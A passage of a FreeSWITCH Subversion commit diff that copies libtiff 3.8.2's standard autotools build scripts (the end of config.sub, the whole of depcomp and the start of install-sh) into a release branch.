+		basic_machine=z8k-unknown
+		os=-sim
+		;;
+	none)
+		basic_machine=none-none
+		os=-none
+		;;
+
+# Here we handle the default manufacturer of certain CPU types.  It is in
+# some cases the only manufacturer, in others, it is the most popular.
+	w89k)
+		basic_machine=hppa1.1-winbond
+		;;
+	op50n)
+		basic_machine=hppa1.1-oki
+		;;
+	op60c)
+		basic_machine=hppa1.1-oki
+		;;
+	romp)
+		basic_machine=romp-ibm
+		;;
+	mmix)
+		basic_machine=mmix-knuth
+		;;
+	rs6000)
+		basic_machine=rs6000-ibm
+		;;
+	vax)
+		basic_machine=vax-dec
+		;;
+	pdp10)
+		# there are many clones, so DEC is not a safe bet
+		basic_machine=pdp10-unknown
+		;;
+	pdp11)
+		basic_machine=pdp11-dec
+		;;
+	we32k)
+		basic_machine=we32k-att
+		;;
+	sh[1234] | sh[24]a | sh[34]eb | sh[1234]le | sh[23]ele)
+		basic_machine=sh-unknown
+		;;
+	sparc | sparcv8 | sparcv9 | sparcv9b)
+		basic_machine=sparc-sun
+		;;
+	cydra)
+		basic_machine=cydra-cydrome
+		;;
+	orion)
+		basic_machine=orion-highlevel
+		;;
+	orion105)
+		basic_machine=clipper-highlevel
+		;;
+	mac | mpw | mac-mpw)
+		basic_machine=m68k-apple
+		;;
+	pmac | pmac-mpw)
+		basic_machine=powerpc-apple
+		;;
+	*-unknown)
+		# Make sure to match an already-canonicalized machine name.
+		;;
+	*)
+		echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2
+		exit 1
+		;;
+esac
+
+# Here we canonicalize certain aliases for manufacturers.
+case $basic_machine in
+	*-digital*)
+		basic_machine=`echo $basic_machine | sed 's/digital.*/dec/'`
+		;;
+	*-commodore*)
+		basic_machine=`echo $basic_machine | sed 's/commodore.*/cbm/'`
+		;;
+	*)
+		;;
+esac
+
+# Decode manufacturer-specific aliases for certain operating systems.
+
+if [ x"$os" != x"" ]
+then
+case $os in
+        # First match some system type aliases
+        # that might get confused with valid system types.
+	# -solaris* is a basic system type, with this one exception.
+	-solaris1 | -solaris1.*)
+		os=`echo $os | sed -e 's|solaris1|sunos4|'`
+		;;
+	-solaris)
+		os=-solaris2
+		;;
+	-svr4*)
+		os=-sysv4
+		;;
+	-unixware*)
+		os=-sysv4.2uw
+		;;
+	-gnu/linux*)
+		os=`echo $os | sed -e 's|gnu/linux|linux-gnu|'`
+		;;
+	# First accept the basic system types.
+	# The portable systems comes first.
+	# Each alternative MUST END IN A *, to match a version number.
+	# -sysv* is not here because it comes later, after sysvr4.
+	-gnu* | -bsd* | -mach* | -minix* | -genix* | -ultrix* | -irix* \
+	      | -*vms* | -sco* | -esix* | -isc* | -aix* | -sunos | -sunos[34]*\
+	      | -hpux* | -unos* | -osf* | -luna* | -dgux* | -solaris* | -sym* \
+	      | -amigaos* | -amigados* | -msdos* | -newsos* | -unicos* | -aof* \
+	      | -aos* \
+	      | -nindy* | -vxsim* | -vxworks* | -ebmon* | -hms* | -mvs* \
+	      | -clix* | -riscos* | -uniplus* | -iris* | -rtu* | -xenix* \
+	      | -hiux* | -386bsd* | -knetbsd* | -mirbsd* | -netbsd* \
+	      | -openbsd* | -solidbsd* \
+	      | -ekkobsd* | -kfreebsd* | -freebsd* | -riscix* | -lynxos* \
+	      | -bosx* | -nextstep* | -cxux* | -aout* | -elf* | -oabi* \
+	      | -ptx* | -coff* | -ecoff* | -winnt* | -domain* | -vsta* \
+	      | -udi* | -eabi* | -lites* | -ieee* | -go32* | -aux* \
+	      | -chorusos* | -chorusrdb* \
+	      | -cygwin* | -pe* | -psos* | -moss* | -proelf* | -rtems* \
+	      | -mingw32* | -linux-gnu* | -linux-newlib* | -linux-uclibc* \
+	      | -uxpv* | -beos* | -mpeix* | -udk* \
+	      | -interix* | -uwin* | -mks* | -rhapsody* | -darwin* | -opened* \
+	      | -openstep* | -oskit* | -conix* | -pw32* | -nonstopux* \
+	      | -storm-chaos* | -tops10* | -tenex* | -tops20* | -its* \
+	      | -os2* | -vos* | -palmos* | -uclinux* | -nucleus* \
+	      | -morphos* | -superux* | -rtmk* | -rtmk-nova* | -windiss* \
+	      | -powermax* | -dnix* | -nx6 | -nx7 | -sei* | -dragonfly* \
+	      | -skyos* | -haiku* | -rdos*)
+	# Remember, each alternative MUST END IN *, to match a version number.
+		;;
+	-qnx*)
+		case $basic_machine in
+		    x86-* | i*86-*)
+			;;
+		    *)
+			os=-nto$os
+			;;
+		esac
+		;;
+	-nto-qnx*)
+		;;
+	-nto*)
+		os=`echo $os | sed -e 's|nto|nto-qnx|'`
+		;;
+	-sim | -es1800* | -hms* | -xray | -os68k* | -none* | -v88r* \
+	      | -windows* | -osx | -abug | -netware* | -os9* | -beos* | -haiku* \
+	      | -macos* | -mpw* | -magic* | -mmixware* | -mon960* | -lnews*)
+		;;
+	-mac*)
+		os=`echo $os | sed -e 's|mac|macos|'`
+		;;
+	-linux-dietlibc)
+		os=-linux-dietlibc
+		;;
+	-linux*)
+		os=`echo $os | sed -e 's|linux|linux-gnu|'`
+		;;
+	-sunos5*)
+		os=`echo $os | sed -e 's|sunos5|solaris2|'`
+		;;
+	-sunos6*)
+		os=`echo $os | sed -e 's|sunos6|solaris3|'`
+		;;
+	-opened*)
+		os=-openedition
+		;;
+        -os400*)
+		os=-os400
+		;;
+	-wince*)
+		os=-wince
+		;;
+	-osfrose*)
+		os=-osfrose
+		;;
+	-osf*)
+		os=-osf
+		;;
+	-utek*)
+		os=-bsd
+		;;
+	-dynix*)
+		os=-bsd
+		;;
+	-acis*)
+		os=-aos
+		;;
+	-atheos*)
+		os=-atheos
+		;;
+	-syllable*)
+		os=-syllable
+		;;
+	-386bsd)
+		os=-bsd
+		;;
+	-ctix* | -uts*)
+		os=-sysv
+		;;
+	-nova*)
+		os=-rtmk-nova
+		;;
+	-ns2 )
+		os=-nextstep2
+		;;
+	-nsk*)
+		os=-nsk
+		;;
+	# Preserve the version number of sinix5.
+	-sinix5.*)
+		os=`echo $os | sed -e 's|sinix|sysv|'`
+		;;
+	-sinix*)
+		os=-sysv4
+		;;
+        -tpf*)
+		os=-tpf
+		;;
+	-triton*)
+		os=-sysv3
+		;;
+	-oss*)
+		os=-sysv3
+		;;
+	-svr4)
+		os=-sysv4
+		;;
+	-svr3)
+		os=-sysv3
+		;;
+	-sysvr4)
+		os=-sysv4
+		;;
+	# This must come after -sysvr4.
+	-sysv*)
+		;;
+	-ose*)
+		os=-ose
+		;;
+	-es1800*)
+		os=-ose
+		;;
+	-xenix)
+		os=-xenix
+		;;
+	-*mint | -mint[0-9]* | -*MiNT | -MiNT[0-9]*)
+		os=-mint
+		;;
+	-aros*)
+		os=-aros
+		;;
+	-kaos*)
+		os=-kaos
+		;;
+	-zvmoe)
+		os=-zvmoe
+		;;
+	-none)
+		;;
+	*)
+		# Get rid of the `-' at the beginning of $os.
+		os=`echo $os | sed 's/[^-]*-//'`
+		echo Invalid configuration \`$1\': system \`$os\' not recognized 1>&2
+		exit 1
+		;;
+esac
+else
+
+# Here we handle the default operating systems that come with various machines.
+# The value should be what the vendor currently ships out the door with their
+# machine or put another way, the most popular os provided with the machine.
+
+# Note that if you're going to try to match "-MANUFACTURER" here (say,
+# "-sun"), then you have to tell the case statement up towards the top
+# that MANUFACTURER isn't an operating system.  Otherwise, code above
+# will signal an error saying that MANUFACTURER isn't an operating
+# system, and we'll never get to this point.
+
+case $basic_machine in
+	*-acorn)
+		os=-riscix1.2
+		;;
+	arm*-rebel)
+		os=-linux
+		;;
+	arm*-semi)
+		os=-aout
+		;;
+    c4x-* | tic4x-*)
+        os=-coff
+        ;;
+	# This must come before the *-dec entry.
+	pdp10-*)
+		os=-tops20
+		;;
+	pdp11-*)
+		os=-none
+		;;
+	*-dec | vax-*)
+		os=-ultrix4.2
+		;;
+	m68*-apollo)
+		os=-domain
+		;;
+	i386-sun)
+		os=-sunos4.0.2
+		;;
+	m68000-sun)
+		os=-sunos3
+		# This also exists in the configure program, but was not the
+		# default.
+		# os=-sunos4
+		;;
+	m68*-cisco)
+		os=-aout
+		;;
+	mips*-cisco)
+		os=-elf
+		;;
+	mips*-*)
+		os=-elf
+		;;
+	or32-*)
+		os=-coff
+		;;
+	*-tti)	# must be before sparc entry or we get the wrong os.
+		os=-sysv3
+		;;
+	sparc-* | *-sun)
+		os=-sunos4.1.1
+		;;
+	*-be)
+		os=-beos
+		;;
+	*-haiku)
+		os=-haiku
+		;;
+	*-ibm)
+		os=-aix
+		;;
+    	*-knuth)
+		os=-mmixware
+		;;
+	*-wec)
+		os=-proelf
+		;;
+	*-winbond)
+		os=-proelf
+		;;
+	*-oki)
+		os=-proelf
+		;;
+	*-hp)
+		os=-hpux
+		;;
+	*-hitachi)
+		os=-hiux
+		;;
+	i860-* | *-att | *-ncr | *-altos | *-motorola | *-convergent)
+		os=-sysv
+		;;
+	*-cbm)
+		os=-amigaos
+		;;
+	*-dg)
+		os=-dgux
+		;;
+	*-dolphin)
+		os=-sysv3
+		;;
+	m68k-ccur)
+		os=-rtu
+		;;
+	m88k-omron*)
+		os=-luna
+		;;
+	*-next )
+		os=-nextstep
+		;;
+	*-sequent)
+		os=-ptx
+		;;
+	*-crds)
+		os=-unos
+		;;
+	*-ns)
+		os=-genix
+		;;
+	i370-*)
+		os=-mvs
+		;;
+	*-next)
+		os=-nextstep3
+		;;
+	*-gould)
+		os=-sysv
+		;;
+	*-highlevel)
+		os=-bsd
+		;;
+	*-encore)
+		os=-bsd
+		;;
+	*-sgi)
+		os=-irix
+		;;
+	*-siemens)
+		os=-sysv4
+		;;
+	*-masscomp)
+		os=-rtu
+		;;
+	f30[01]-fujitsu | f700-fujitsu)
+		os=-uxpv
+		;;
+	*-rom68k)
+		os=-coff
+		;;
+	*-*bug)
+		os=-coff
+		;;
+	*-apple)
+		os=-macos
+		;;
+	*-atari*)
+		os=-mint
+		;;
+	*)
+		os=-none
+		;;
+esac
+fi
+
+# Here we handle the case where we know the os, and the CPU type, but not the
+# manufacturer.  We pick the logical manufacturer.
+vendor=unknown
+case $basic_machine in
+	*-unknown)
+		case $os in
+			-riscix*)
+				vendor=acorn
+				;;
+			-sunos*)
+				vendor=sun
+				;;
+			-aix*)
+				vendor=ibm
+				;;
+			-beos*)
+				vendor=be
+				;;
+			-hpux*)
+				vendor=hp
+				;;
+			-mpeix*)
+				vendor=hp
+				;;
+			-hiux*)
+				vendor=hitachi
+				;;
+			-unos*)
+				vendor=crds
+				;;
+			-dgux*)
+				vendor=dg
+				;;
+			-luna*)
+				vendor=omron
+				;;
+			-genix*)
+				vendor=ns
+				;;
+			-mvs* | -opened*)
+				vendor=ibm
+				;;
+			-os400*)
+				vendor=ibm
+				;;
+			-ptx*)
+				vendor=sequent
+				;;
+			-tpf*)
+				vendor=ibm
+				;;
+			-vxsim* | -vxworks* | -windiss*)
+				vendor=wrs
+				;;
+			-aux*)
+				vendor=apple
+				;;
+			-hms*)
+				vendor=hitachi
+				;;
+			-mpw* | -macos*)
+				vendor=apple
+				;;
+			-*mint | -mint[0-9]* | -*MiNT | -MiNT[0-9]*)
+				vendor=atari
+				;;
+			-vos*)
+				vendor=stratus
+				;;
+		esac
+		basic_machine=`echo $basic_machine | sed "s/unknown/$vendor/"`
+		;;
+esac
+
+echo $basic_machine$os
+exit
+
+# Local variables:
+# eval: (add-hook 'write-file-hooks 'time-stamp)
+# time-stamp-start: "timestamp='"
+# time-stamp-format: "%:y-%02m-%02d"
+# time-stamp-end: "'"
+# End:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/config/depcomp

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/config/depcomp (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/config/depcomp) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/config/depcomp	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/config/depcomp	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,530 @@
+#! /bin/sh
+# depcomp - compile a program generating dependencies as side-effects
+
+scriptversion=2005-07-09.11
+
+# Copyright (C) 1999, 2000, 2003, 2004, 2005 Free Software Foundation, Inc.
+
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License as published by
+# the Free Software Foundation; either version 2, or (at your option)
+# any later version.
+
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
+# 02110-1301, USA.
+
+# As a special exception to the GNU General Public License, if you
+# distribute this file as part of a program that contains a
+# configuration script generated by Autoconf, you may include it under
+# the same distribution terms that you use for the rest of that program.
+
+# Originally written by Alexandre Oliva <oliva@dcc.unicamp.br>.
+
+case $1 in
+  '')
+     echo "$0: No command.  Try \`$0 --help' for more information." 1>&2
+     exit 1;
+     ;;
+  -h | --h*)
+    cat <<\EOF
+Usage: depcomp [--help] [--version] PROGRAM [ARGS]
+
+Run PROGRAMS ARGS to compile a file, generating dependencies
+as side-effects.
+
+Environment variables:
+  depmode     Dependency tracking mode.
+  source      Source file read by `PROGRAMS ARGS'.
+  object      Object file output by `PROGRAMS ARGS'.
+  DEPDIR      directory where to store dependencies.
+  depfile     Dependency file to output.
+  tmpdepfile  Temporary file to use when outputing dependencies.
+  libtool     Whether libtool is used (yes/no).
+
+Report bugs to <bug-automake@gnu.org>.
+EOF
+    exit $?
+    ;;
+  -v | --v*)
+    echo "depcomp $scriptversion"
+    exit $?
+    ;;
+esac
+
+if test -z "$depmode" || test -z "$source" || test -z "$object"; then
+  echo "depcomp: Variables source, object and depmode must be set" 1>&2
+  exit 1
+fi
+
+# Dependencies for sub/bar.o or sub/bar.obj go into sub/.deps/bar.Po.
+depfile=${depfile-`echo "$object" |
+  sed 's|[^\\/]*$|'${DEPDIR-.deps}'/&|;s|\.\([^.]*\)$|.P\1|;s|Pobj$|Po|'`}
+tmpdepfile=${tmpdepfile-`echo "$depfile" | sed 's/\.\([^.]*\)$/.T\1/'`}
+
+rm -f "$tmpdepfile"
+
+# Some modes work just like other modes, but use different flags.  We
+# parameterize here, but still list the modes in the big case below,
+# to make depend.m4 easier to write.  Note that we *cannot* use a case
+# here, because this file can only contain one case statement.
+if test "$depmode" = hp; then
+  # HP compiler uses -M and no extra arg.
+  gccflag=-M
+  depmode=gcc
+fi
+
+if test "$depmode" = dashXmstdout; then
+   # This is just like dashmstdout with a different argument.
+   dashmflag=-xM
+   depmode=dashmstdout
+fi
+
+case "$depmode" in
+gcc3)
+## gcc 3 implements dependency tracking that does exactly what
+## we want.  Yay!  Note: for some reason libtool 1.4 doesn't like
+## it if -MD -MP comes after the -MF stuff.  Hmm.
+  "$@" -MT "$object" -MD -MP -MF "$tmpdepfile"
+  stat=$?
+  if test $stat -eq 0; then :
+  else
+    rm -f "$tmpdepfile"
+    exit $stat
+  fi
+  mv "$tmpdepfile" "$depfile"
+  ;;
+
+gcc)
+## There are various ways to get dependency output from gcc.  Here's
+## why we pick this rather obscure method:
+## - Don't want to use -MD because we'd like the dependencies to end
+##   up in a subdir.  Having to rename by hand is ugly.
+##   (We might end up doing this anyway to support other compilers.)
+## - The DEPENDENCIES_OUTPUT environment variable makes gcc act like
+##   -MM, not -M (despite what the docs say).
+## - Using -M directly means running the compiler twice (even worse
+##   than renaming).
+  if test -z "$gccflag"; then
+    gccflag=-MD,
+  fi
+  "$@" -Wp,"$gccflag$tmpdepfile"
+  stat=$?
+  if test $stat -eq 0; then :
+  else
+    rm -f "$tmpdepfile"
+    exit $stat
+  fi
+  rm -f "$depfile"
+  echo "$object : \\" > "$depfile"
+  alpha=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz
+## The second -e expression handles DOS-style file names with drive letters.
+  sed -e 's/^[^:]*: / /' \
+      -e 's/^['$alpha']:\/[^:]*: / /' < "$tmpdepfile" >> "$depfile"
+## This next piece of magic avoids the `deleted header file' problem.
+## The problem is that when a header file which appears in a .P file
+## is deleted, the dependency causes make to die (because there is
+## typically no way to rebuild the header).  We avoid this by adding
+## dummy dependencies for each header file.  Too bad gcc doesn't do
+## this for us directly.
+  tr ' ' '
+' < "$tmpdepfile" |
+## Some versions of gcc put a space before the `:'.  On the theory
+## that the space means something, we add a space to the output as
+## well.
+## Some versions of the HPUX 10.20 sed can't process this invocation
+## correctly.  Breaking it into two sed invocations is a workaround.
+    sed -e 's/^\\$//' -e '/^$/d' -e '/:$/d' | sed -e 's/$/ :/' >> "$depfile"
+  rm -f "$tmpdepfile"
+  ;;
+
+hp)
+  # This case exists only to let depend.m4 do its work.  It works by
+  # looking at the text of this script.  This case will never be run,
+  # since it is checked for above.
+  exit 1
+  ;;
+
+sgi)
+  if test "$libtool" = yes; then
+    "$@" "-Wp,-MDupdate,$tmpdepfile"
+  else
+    "$@" -MDupdate "$tmpdepfile"
+  fi
+  stat=$?
+  if test $stat -eq 0; then :
+  else
+    rm -f "$tmpdepfile"
+    exit $stat
+  fi
+  rm -f "$depfile"
+
+  if test -f "$tmpdepfile"; then  # yes, the sourcefile depend on other files
+    echo "$object : \\" > "$depfile"
+
+    # Clip off the initial element (the dependent).  Don't try to be
+    # clever and replace this with sed code, as IRIX sed won't handle
+    # lines with more than a fixed number of characters (4096 in
+    # IRIX 6.2 sed, 8192 in IRIX 6.5).  We also remove comment lines;
+    # the IRIX cc adds comments like `#:fec' to the end of the
+    # dependency line.
+    tr ' ' '
+' < "$tmpdepfile" \
+    | sed -e 's/^.*\.o://' -e 's/#.*$//' -e '/^$/ d' | \
+    tr '
+' ' ' >> $depfile
+    echo >> $depfile
+
+    # The second pass generates a dummy entry for each header file.
+    tr ' ' '
+' < "$tmpdepfile" \
+   | sed -e 's/^.*\.o://' -e 's/#.*$//' -e '/^$/ d' -e 's/$/:/' \
+   >> $depfile
+  else
+    # The sourcefile does not contain any dependencies, so just
+    # store a dummy comment line, to avoid errors with the Makefile
+    # "include basename.Plo" scheme.
+    echo "#dummy" > "$depfile"
+  fi
+  rm -f "$tmpdepfile"
+  ;;
+
+aix)
+  # The C for AIX Compiler uses -M and outputs the dependencies
+  # in a .u file.  In older versions, this file always lives in the
+  # current directory.  Also, the AIX compiler puts `$object:' at the
+  # start of each line; $object doesn't have directory information.
+  # Version 6 uses the directory in both cases.
+  stripped=`echo "$object" | sed 's/\(.*\)\..*$/\1/'`
+  tmpdepfile="$stripped.u"
+  if test "$libtool" = yes; then
+    "$@" -Wc,-M
+  else
+    "$@" -M
+  fi
+  stat=$?
+
+  if test -f "$tmpdepfile"; then :
+  else
+    stripped=`echo "$stripped" | sed 's,^.*/,,'`
+    tmpdepfile="$stripped.u"
+  fi
+
+  if test $stat -eq 0; then :
+  else
+    rm -f "$tmpdepfile"
+    exit $stat
+  fi
+
+  if test -f "$tmpdepfile"; then
+    outname="$stripped.o"
+    # Each line is of the form `foo.o: dependent.h'.
+    # Do two passes, one to just change these to
+    # `$object: dependent.h' and one to simply `dependent.h:'.
+    sed -e "s,^$outname:,$object :," < "$tmpdepfile" > "$depfile"
+    sed -e "s,^$outname: \(.*\)$,\1:," < "$tmpdepfile" >> "$depfile"
+  else
+    # The sourcefile does not contain any dependencies, so just
+    # store a dummy comment line, to avoid errors with the Makefile
+    # "include basename.Plo" scheme.
+    echo "#dummy" > "$depfile"
+  fi
+  rm -f "$tmpdepfile"
+  ;;
+
+icc)
+  # Intel's C compiler understands `-MD -MF file'.  However on
+  #    icc -MD -MF foo.d -c -o sub/foo.o sub/foo.c
+  # ICC 7.0 will fill foo.d with something like
+  #    foo.o: sub/foo.c
+  #    foo.o: sub/foo.h
+  # which is wrong.  We want:
+  #    sub/foo.o: sub/foo.c
+  #    sub/foo.o: sub/foo.h
+  #    sub/foo.c:
+  #    sub/foo.h:
+  # ICC 7.1 will output
+  #    foo.o: sub/foo.c sub/foo.h
+  # and will wrap long lines using \ :
+  #    foo.o: sub/foo.c ... \
+  #     sub/foo.h ... \
+  #     ...
+
+  "$@" -MD -MF "$tmpdepfile"
+  stat=$?
+  if test $stat -eq 0; then :
+  else
+    rm -f "$tmpdepfile"
+    exit $stat
+  fi
+  rm -f "$depfile"
+  # Each line is of the form `foo.o: dependent.h',
+  # or `foo.o: dep1.h dep2.h \', or ` dep3.h dep4.h \'.
+  # Do two passes, one to just change these to
+  # `$object: dependent.h' and one to simply `dependent.h:'.
+  sed "s,^[^:]*:,$object :," < "$tmpdepfile" > "$depfile"
+  # Some versions of the HPUX 10.20 sed can't process this invocation
+  # correctly.  Breaking it into two sed invocations is a workaround.
+  sed 's,^[^:]*: \(.*\)$,\1,;s/^\\$//;/^$/d;/:$/d' < "$tmpdepfile" |
+    sed -e 's/$/ :/' >> "$depfile"
+  rm -f "$tmpdepfile"
+  ;;
+
+tru64)
+   # The Tru64 compiler uses -MD to generate dependencies as a side
+   # effect.  `cc -MD -o foo.o ...' puts the dependencies into `foo.o.d'.
+   # At least on Alpha/Redhat 6.1, Compaq CCC V6.2-504 seems to put
+   # dependencies in `foo.d' instead, so we check for that too.
+   # Subdirectories are respected.
+   dir=`echo "$object" | sed -e 's|/[^/]*$|/|'`
+   test "x$dir" = "x$object" && dir=
+   base=`echo "$object" | sed -e 's|^.*/||' -e 's/\.o$//' -e 's/\.lo$//'`
+
+   if test "$libtool" = yes; then
+      # With Tru64 cc, shared objects can also be used to make a
+      # static library.  This mecanism is used in libtool 1.4 series to
+      # handle both shared and static libraries in a single compilation.
+      # With libtool 1.4, dependencies were output in $dir.libs/$base.lo.d.
+      #
+      # With libtool 1.5 this exception was removed, and libtool now
+      # generates 2 separate objects for the 2 libraries.  These two
+      # compilations output dependencies in in $dir.libs/$base.o.d and
+      # in $dir$base.o.d.  We have to check for both files, because
+      # one of the two compilations can be disabled.  We should prefer
+      # $dir$base.o.d over $dir.libs/$base.o.d because the latter is
+      # automatically cleaned when .libs/ is deleted, while ignoring
+      # the former would cause a distcleancheck panic.
+      tmpdepfile1=$dir.libs/$base.lo.d   # libtool 1.4
+      tmpdepfile2=$dir$base.o.d          # libtool 1.5
+      tmpdepfile3=$dir.libs/$base.o.d    # libtool 1.5
+      tmpdepfile4=$dir.libs/$base.d      # Compaq CCC V6.2-504
+      "$@" -Wc,-MD
+   else
+      tmpdepfile1=$dir$base.o.d
+      tmpdepfile2=$dir$base.d
+      tmpdepfile3=$dir$base.d
+      tmpdepfile4=$dir$base.d
+      "$@" -MD
+   fi
+
+   stat=$?
+   if test $stat -eq 0; then :
+   else
+      rm -f "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3" "$tmpdepfile4"
+      exit $stat
+   fi
+
+   for tmpdepfile in "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3" "$tmpdepfile4"
+   do
+     test -f "$tmpdepfile" && break
+   done
+   if test -f "$tmpdepfile"; then
+      sed -e "s,^.*\.[a-z]*:,$object:," < "$tmpdepfile" > "$depfile"
+      # That's a tab and a space in the [].
+      sed -e 's,^.*\.[a-z]*:[	 ]*,,' -e 's,$,:,' < "$tmpdepfile" >> "$depfile"
+   else
+      echo "#dummy" > "$depfile"
+   fi
+   rm -f "$tmpdepfile"
+   ;;
+
+#nosideeffect)
+  # This comment above is used by automake to tell side-effect
+  # dependency tracking mechanisms from slower ones.
+
+dashmstdout)
+  # Important note: in order to support this mode, a compiler *must*
+  # always write the preprocessed file to stdout, regardless of -o.
+  "$@" || exit $?
+
+  # Remove the call to Libtool.
+  if test "$libtool" = yes; then
+    while test $1 != '--mode=compile'; do
+      shift
+    done
+    shift
+  fi
+
+  # Remove `-o $object'.
+  IFS=" "
+  for arg
+  do
+    case $arg in
+    -o)
+      shift
+      ;;
+    $object)
+      shift
+      ;;
+    *)
+      set fnord "$@" "$arg"
+      shift # fnord
+      shift # $arg
+      ;;
+    esac
+  done
+
+  test -z "$dashmflag" && dashmflag=-M
+  # Require at least two characters before searching for `:'
+  # in the target name.  This is to cope with DOS-style filenames:
+  # a dependency such as `c:/foo/bar' could be seen as target `c' otherwise.
+  "$@" $dashmflag |
+    sed 's:^[  ]*[^: ][^:][^:]*\:[    ]*:'"$object"'\: :' > "$tmpdepfile"
+  rm -f "$depfile"
+  cat < "$tmpdepfile" > "$depfile"
+  tr ' ' '
+' < "$tmpdepfile" | \
+## Some versions of the HPUX 10.20 sed can't process this invocation
+## correctly.  Breaking it into two sed invocations is a workaround.
+    sed -e 's/^\\$//' -e '/^$/d' -e '/:$/d' | sed -e 's/$/ :/' >> "$depfile"
+  rm -f "$tmpdepfile"
+  ;;
+
+dashXmstdout)
+  # This case only exists to satisfy depend.m4.  It is never actually
+  # run, as this mode is specially recognized in the preamble.
+  exit 1
+  ;;
+
+makedepend)
+  "$@" || exit $?
+  # Remove any Libtool call
+  if test "$libtool" = yes; then
+    while test $1 != '--mode=compile'; do
+      shift
+    done
+    shift
+  fi
+  # X makedepend
+  shift
+  cleared=no
+  for arg in "$@"; do
+    case $cleared in
+    no)
+      set ""; shift
+      cleared=yes ;;
+    esac
+    case "$arg" in
+    -D*|-I*)
+      set fnord "$@" "$arg"; shift ;;
+    # Strip any option that makedepend may not understand.  Remove
+    # the object too, otherwise makedepend will parse it as a source file.
+    -*|$object)
+      ;;
+    *)
+      set fnord "$@" "$arg"; shift ;;
+    esac
+  done
+  obj_suffix="`echo $object | sed 's/^.*\././'`"
+  touch "$tmpdepfile"
+  ${MAKEDEPEND-makedepend} -o"$obj_suffix" -f"$tmpdepfile" "$@"
+  rm -f "$depfile"
+  cat < "$tmpdepfile" > "$depfile"
+  sed '1,2d' "$tmpdepfile" | tr ' ' '
+' | \
+## Some versions of the HPUX 10.20 sed can't process this invocation
+## correctly.  Breaking it into two sed invocations is a workaround.
+    sed -e 's/^\\$//' -e '/^$/d' -e '/:$/d' | sed -e 's/$/ :/' >> "$depfile"
+  rm -f "$tmpdepfile" "$tmpdepfile".bak
+  ;;
+
+cpp)
+  # Important note: in order to support this mode, a compiler *must*
+  # always write the preprocessed file to stdout.
+  "$@" || exit $?
+
+  # Remove the call to Libtool.
+  if test "$libtool" = yes; then
+    while test $1 != '--mode=compile'; do
+      shift
+    done
+    shift
+  fi
+
+  # Remove `-o $object'.
+  IFS=" "
+  for arg
+  do
+    case $arg in
+    -o)
+      shift
+      ;;
+    $object)
+      shift
+      ;;
+    *)
+      set fnord "$@" "$arg"
+      shift # fnord
+      shift # $arg
+      ;;
+    esac
+  done
+
+  "$@" -E |
+    sed -n -e '/^# [0-9][0-9]* "\([^"]*\)".*/ s:: \1 \\:p' \
+       -e '/^#line [0-9][0-9]* "\([^"]*\)".*/ s:: \1 \\:p' |
+    sed '$ s: \\$::' > "$tmpdepfile"
+  rm -f "$depfile"
+  echo "$object : \\" > "$depfile"
+  cat < "$tmpdepfile" >> "$depfile"
+  sed < "$tmpdepfile" '/^$/d;s/^ //;s/ \\$//;s/$/ :/' >> "$depfile"
+  rm -f "$tmpdepfile"
+  ;;
+
+msvisualcpp)
+  # Important note: in order to support this mode, a compiler *must*
+  # always write the preprocessed file to stdout, regardless of -o,
+  # because we must use -o when running libtool.
+  "$@" || exit $?
+  IFS=" "
+  for arg
+  do
+    case "$arg" in
+    "-Gm"|"/Gm"|"-Gi"|"/Gi"|"-ZI"|"/ZI")
+	set fnord "$@"
+	shift
+	shift
+	;;
+    *)
+	set fnord "$@" "$arg"
+	shift
+	shift
+	;;
+    esac
+  done
+  "$@" -E |
+  sed -n '/^#line [0-9][0-9]* "\([^"]*\)"/ s::echo "`cygpath -u \\"\1\\"`":p' | sort | uniq > "$tmpdepfile"
+  rm -f "$depfile"
+  echo "$object : \\" > "$depfile"
+  . "$tmpdepfile" | sed 's% %\\ %g' | sed -n '/^\(.*\)$/ s::	\1 \\:p' >> "$depfile"
+  echo "	" >> "$depfile"
+  . "$tmpdepfile" | sed 's% %\\ %g' | sed -n '/^\(.*\)$/ s::\1\::p' >> "$depfile"
+  rm -f "$tmpdepfile"
+  ;;
+
+none)
+  exec "$@"
+  ;;
+
+*)
+  echo "Unknown depmode $depmode" 1>&2
+  exit 1
+  ;;
+esac
+
+exit 0
+
+# Local Variables:
+# mode: shell-script
+# sh-indentation: 2
+# eval: (add-hook 'write-file-hooks 'time-stamp)
+# time-stamp-start: "scriptversion="
+# time-stamp-format: "%:y-%02m-%02d.%02H"
+# time-stamp-end: "$"
+# End:

Deleted: freeswitch/branches/seven/libs/tiff-3.8.2/config/install-sh

Copied: freeswitch/branches/seven/libs/tiff-3.8.2/config/install-sh (from rev 14471, freeswitch/trunk/libs/tiff-3.8.2/config/install-sh) (0 => 14472)


--- freeswitch/branches/seven/libs/tiff-3.8.2/config/install-sh	                        (rev 0)
+++ freeswitch/branches/seven/libs/tiff-3.8.2/config/install-sh	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,323 @@
+#!/bin/sh
+# install - install a program, script, or datafile
+
+scriptversion=2005-05-14.22
+
+# This originates from X11R5 (mit/util/scripts/install.sh), which was
+# later released in X11R6 (xc/config/util/install.sh) with the
+# following copyright and license.
+#
+# Copyright (C) 1994 X Consortium
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to
+# deal in the Software without restriction, including without limitation the
+# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
+# sell copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in
+# all copies or substantial portions of the Software.
+#
